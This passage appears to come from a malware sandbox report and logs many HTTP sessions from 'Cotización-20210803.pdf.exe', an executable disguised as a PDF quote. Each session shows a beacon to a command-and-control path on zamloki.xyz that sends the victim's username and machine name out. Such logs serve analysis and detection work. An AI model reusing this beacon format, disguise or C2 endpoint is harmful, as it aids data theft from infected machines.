Aug 4, 2021 13:56:05.239965916 CEST	1470	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:05.256995916 CEST	1471	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:05.495554924 CEST	1471	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lxibePQPWJ3%2BnNrp69JBjr1QCSkYCaJrAZ0cfeoqTjtcu2eCeZhCaVSHqmNHDEnBp2raB4r70jjeBsgFW%2BvXexaRbL2o%2BppwZCHjFnbjHphSxN3MLg80IqTps8NCIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799b4ceb33233-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49737	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:05.797017097 CEST	1472	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:05.815701008 CEST	1472	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:06.054702997 CEST	1473	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vRyMjMqcv4AeMBwVx8mJvBkJ8uwh7Pn2jpUthCuAkiDozkh8%2Fg1rnjmhulBeaNdJjgHrBvNB3ah1Xf%2FdJsFm491aJ95kPFWO5%2FQAWkhnKLwcGO%2F4j0W3x2xsGCtOKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799b84d654a5b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49738	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:06.349740982 CEST	1474	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:06.368350983 CEST	1474	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:06.631246090 CEST	1475	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AIw7g5hWaJ%2Fs8jotxp0KAhksXY4uil1G%2BKO94iuued%2BPwBw5QKNoU2h4X%2FE6Ww4g8NuPyC%2BbYAY%2FVxDH1sYuTRpRK12XaeqfKm7BNZkTLHqQjbuA4G7po5nw%2FkpD3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799bbbf7064bb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49739	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:06.909193039 CEST	1476	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:06.926192045 CEST	1476	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:07.175179005 CEST	1477	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WyP2G05jCBHvwXqCdsoaNamBloypWGvWEO6982NbaZqk%2BKnXwL48YccD8C7ATroANj9om%2BnwOE69Nh%2F4K6KpABFdhQApI8h9msR%2BrtmTP7PLuiz655vlaUpotDJmZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799bf3b274327-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49740	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:07.486882925 CEST	1478	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:07.503794909 CEST	1478	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:07.755872011 CEST	1479	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TccntTLRab8TPU%2FDu18m2VSirSaX4%2BV%2BrlwyzigOuo0wrb%2FzPyS4%2Bic4R9nXhZoZK5RS6%2BA4vatdp2lJuWN5H%2Bmnz0iK%2F%2Fqg0nSP7ymrslK%2FaH7DWBF3dWZff%2FBy1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799c2dec94eda-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49741	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:08.047801018 CEST	1480	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:08.064805031 CEST	1480	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:08.323024988 CEST	1481	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qQ8FRebqepOdxNaDHz3m%2BgFEifVOfgE%2FhLzvdJy%2FQ0ohYxT58kyt812aeIOgSmOTxq331JxUnXRi0JxAwUW9WytrmisK%2BxdWkjMbXs14bXEm99vjhXQ6sRrMsUlmTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799c65eec4ec1-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49742	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:08.594594002 CEST	1482	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:08.611488104 CEST	1482	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:08.890055895 CEST	1483	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yjR2axE7dOsnjF%2FozqqRlP%2FD6HVSUpx%2BWHT1yfhbP%2BKWn9vfcaWKzRjkG0akzq4DTGVZXd9ibROnQceDhaM35pKKd%2FEelup2bbUGzXu71NuyapHhC5fVx6Thb3SCDw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799c9ce47d6c9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49715	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:52.481426954 CEST	1407	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:52.498702049 CEST	1407	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:52.736490011 CEST	1408	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7hGxwvJvqXiiWp7EbLsyGVPfj3YGCXmikXmMYmuKXkonBNSL9jofjog7HrEBuYQjJ6rfiLfFWLyHMQJGtl9d6cGD3hSQF7uwUFctHzFe%2F5aWwtG8Deevsfho%2F8UHoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799650f7bc2ae-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49743	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:09.193658113 CEST	1484	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:09.212368965 CEST	1484	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:09.552714109 CEST	1485	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=meK6VBW1ItyugsJkgtQKtzcy2BKuppmodbjSybWAtd7LRLVm0Fn5H7kGRacaV1YWW3%2BqVzGbsS%2BAveRVNUVPQhCeovL8YZZsO%2BZBz3DUzQZF8y%2BAFx3KrN5U8ErFQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799cd8c0a4e07-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49744	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:09.862544060 CEST	1485	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:09.881997108 CEST	1486	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:10.170315981 CEST	1486	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S%2B9hziGyCDe1lPuwetEvOcmIiJNPSnJ85MSc0xEKysGN9lflZj90gWg7ooattOzXz26E%2BrVMDUsgqAbkXleIVT5M3nQ9CJ7HDF0pFP84JEC2kxRyt0UGuhD9mU%2FhDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799d1b83e4303-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49745	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:10.451917887 CEST	1487	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:10.468913078 CEST	1488	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:10.816355944 CEST	1488	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HIenv9eqPf%2ByEd3%2BnS6efBXGtuc8wrlTOdoBvAepByykze633YmfLkh5%2FvUSk5pm4lJ3%2Ft7FZtO5gwxG1L%2BHP4dfHBv%2Bm9HO5I9YY8Gwa%2Ffb1tYTi0InxOf8EY56kQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799d55ced1756-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49746	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:11.113178015 CEST	1489	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:11.132355928 CEST	1490	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:11.362956047 CEST	1490	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=epWXu8YjV%2F7dDVYG7oo5g2C9ZY210%2BSoXDOoC%2FcrBE6aSuM3Rkg8GS8bv%2F4tcqOCHkxodv2wwMRwGSkdbmP5A%2BGoieA0JDu0PmH6lfuk2fQcjACyw2RawrvspM3QeQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799d98b084eaa-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49747	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:11.639731884 CEST	1491	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:11.658202887 CEST	1491	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:11.893894911 CEST	1492	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dnugRA4Tgk3YdJKI%2FC%2BRb8Dp6DFMMM5VuoUdrNyDF9DWfIfgJ9BKCLqiMWuDzKUJQsGlW0pCyH%2FNu426lh%2F9ctKdsQEgIwxQOBqSKFTh1aJf98ytAPtGTg4XSzGP8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799dcc8794dc4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49748	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:12.175400019 CEST	1493	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:12.194849014 CEST	1493	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:12.451847076 CEST	1494	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UHecH4dv4UD%2BvTR9cKqhkNUl4gxcw%2FFCke0E6hKk6JMdO2FoK%2B9kyUeshvThPEdAjn3BJ%2FlBDb9SvH02%2FU2r%2FjrHyU4BgbVb7bLIF7pd2A68MsUL92vni3O%2FWnhBLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799e028774e2c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49749	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:12.730545044 CEST	1495	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:12.747842073 CEST	1495	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
